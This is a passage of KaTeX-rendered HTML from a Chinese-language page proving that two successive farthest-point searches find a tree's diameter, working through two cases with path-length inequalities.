class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mclose">)</span></span></span></span></span></p><p>由于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>S</mi><mo separator="true">,</mo><mi>A</mi><mo stretchy="false">)</mo><mo>≤</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>S</mi><mo separator="true">,</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\delta(S, A) \le \delta(S, X)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>S</mi><mo separator="true">,</mo><mi>C</mi><mo stretchy="false">)</mo><mo>+</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>C</mi><mo separator="true">,</mo><mi>A</mi><mo stretchy="false">)</mo><mo>≤</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>S</mi><mo separator="true">,</mo><mi>C</mi><mo stretchy="false">)</mo><mo>+</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>C</mi><mo separator="true">,</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\delta(S, C) + \delta(C, A) \le \delta(S, C) + \delta(C, X)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span>。</p><p>得出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>C</mi><mo separator="true">,</mo><mi>A</mi><mo stretchy="false">)</mo><mo>≤</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>C</mi><mo separator="true">,</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\delta(C, A) \le \delta(C, X)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span>。</p><p>那么很明显可以构造一条直径 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mo>→</mo><mi>C</mi><mo>→</mo><mi>B</mi></mrow><annotation encoding="application/x-tex">X \rightarrow C \rightarrow B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span>，长度为</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>D</mi><mrow><mi>X</mi><mo separator="true">,</mo><mi>B</mi></mrow></msub><mo>=</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>C</mi><mo separator="true">,</mo><mi>X</mi><mo stretchy="false">)</mo><mo>+</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>C</mi><mo separator="true">,</mo><mi>B</mi><mo stretchy="false">)</mo><mo>≥</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>C</mi><mo separator="true">,</mo><mi>A</mi><mo stretchy="false">)</mo><mo>+</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>C</mi><mo separator="true">,</mo><mi>B</mi><mo stretchy="false">)</mo><mo>=</mo><msub><mi>D</mi><mrow><mi>A</mi><mo separator="true">,</mo><mi>B</mi></mrow></msub></mrow><annotation encoding="application/x-tex">D_{X, B} = \delta(C, X) + \delta(C, B) \ge \delta(C, A) + \delta(C, B) = D_{A, B}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07847em;">X</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>又因为前提是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>→</mo><mi>B</mi></mrow><annotation encoding="application/x-tex">A \rightarrow B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> 是直径，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>D</mi><mrow><mi>A</mi><mo separator="true">,</mo><mi>B</mi></mrow></msub></mrow><annotation encoding="application/x-tex">D_{A, B}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 是最长的路径，所以只能得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>D</mi><mrow><mi>X</mi><mo separator="true">,</mo><mi>B</mi></mrow></msub><mo>=</mo><msub><mi>D</mi><mrow><mi>A</mi><mo separator="true">,</mo><mi>B</mi></mrow></msub></mrow><annotation encoding="application/x-tex">D_{X, B} = D_{A, B}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07847em;">X</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>，即可以构造出等长的直径 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mo>→</mo><mi>C</mi><mo>→</mo><mi>B</mi></mrow><annotation encoding="application/x-tex">X \rightarrow C \rightarrow B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span>，假设成立。</p><p>对于第二种情况：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>D</mi><mrow><mi>A</mi><mo separator="true">,</mo><mi>B</mi></mrow></msub><mo>=</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>A</mi><mo separator="true">,</mo><mi>C</mi><mo stretchy="false">)</mo><mo>+</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>C</mi><mo separator="true">,</mo><mi>B</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">D_{A, B} = \delta(A, C) + \delta(C, B)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span></span></p><p>因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>S</mi><mo separator="true">,</mo><mi>A</mi><mo stretchy="false">)</mo><mo>≤</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>S</mi><mo separator="true">,</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\delta(S, A) \le \delta(S, X)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>S</mi><mo separator="true">,</mo><mi>A</mi><mo stretchy="false">)</mo><mo>≤</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>S</mi><mo separator="true">,</mo><mi>C</mi><mo stretchy="false">)</mo><mo>+</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>S</mi><mo separator="true">,</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\delta(S, A) \le \delta(S, C) + \delta(S, X)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span>。</p><p>又因为显然 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>S</mi><mo separator="true">,</mo><mi>A</mi><mo stretchy="false">)</mo><mo>≥</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>C</mi><mo separator="true">,</mo><mi>A</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\delta(S, A) \ge \delta(C, A)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mclose">)</span></span></span></span>，所以</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>D</mi><mrow><mi>A</mi><mo separator="true">,</mo><mi>B</mi></mrow></msub><mo>=</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>C</mi><mo separator="true">,</mo><mi>A</mi><mo stretchy="false">)</mo><mo>+</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>C</mi><mo separator="true">,</mo><mi>B</mi><mo stretchy="false">)</mo><mo>≤</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>S</mi><mo separator="true">,</mo><mi>A</mi><mo stretchy="false">)</mo><mo>+</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>C</mi><mo separator="true">,</mo><mi>B</mi><mo stretchy="false">)</mo><mo>≤</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>S</mi><mo separator="true">,</mo><mi>C</mi><mo stretchy="false">)</mo><mo>+</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>S</mi><mo separator="true">,</mo><mi>X</mi><mo stretchy="false">)</mo><mo>+</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>C</mi><mo separator="true">,</mo><mi>B</mi><mo stretchy="false">)</mo><mo>=</mo><msub><mi>D</mi><mrow><mi>S</mi><mo separator="true">,</mo><mi>X</mi></mrow></msub></mrow><annotation encoding="application/x-tex">D_{A, B} = \delta(C, A) + \delta(C, B) \le \delta(S, A) + \delta(C, B) \le \delta(S, C) + \delta(S, X) + \delta(C, B) = D_{S, X}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05764em;">S</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.07847em;">X</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></span></p><blockquote><p>也就是去掉一条 C -&gt; A 的路径，添加一条 C -&gt; S -&gt; X 的路径，显然加上的 S -&gt; X 比 S -&gt; C -&gt; A 更长，那自然比去掉的 C -&gt; A 更长，更别说还有加上 C -&gt; S 的路径了。</p></blockquote><p>所以和 A -&gt; B 是直径的条件矛盾了，情况二不成立。</p><p>综合情况一和情况二可知，第一次搜索找到的最远点 <span class="katex"><span class="katex-mathml"><math 